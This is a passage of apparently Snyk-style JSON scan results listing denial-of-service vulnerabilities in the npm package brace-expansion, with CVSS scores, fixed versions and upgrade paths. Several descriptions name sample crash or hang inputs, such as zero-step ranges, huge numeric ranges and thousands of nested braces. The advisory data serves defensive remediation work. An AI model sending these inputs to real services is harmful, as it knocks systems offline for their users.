Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { 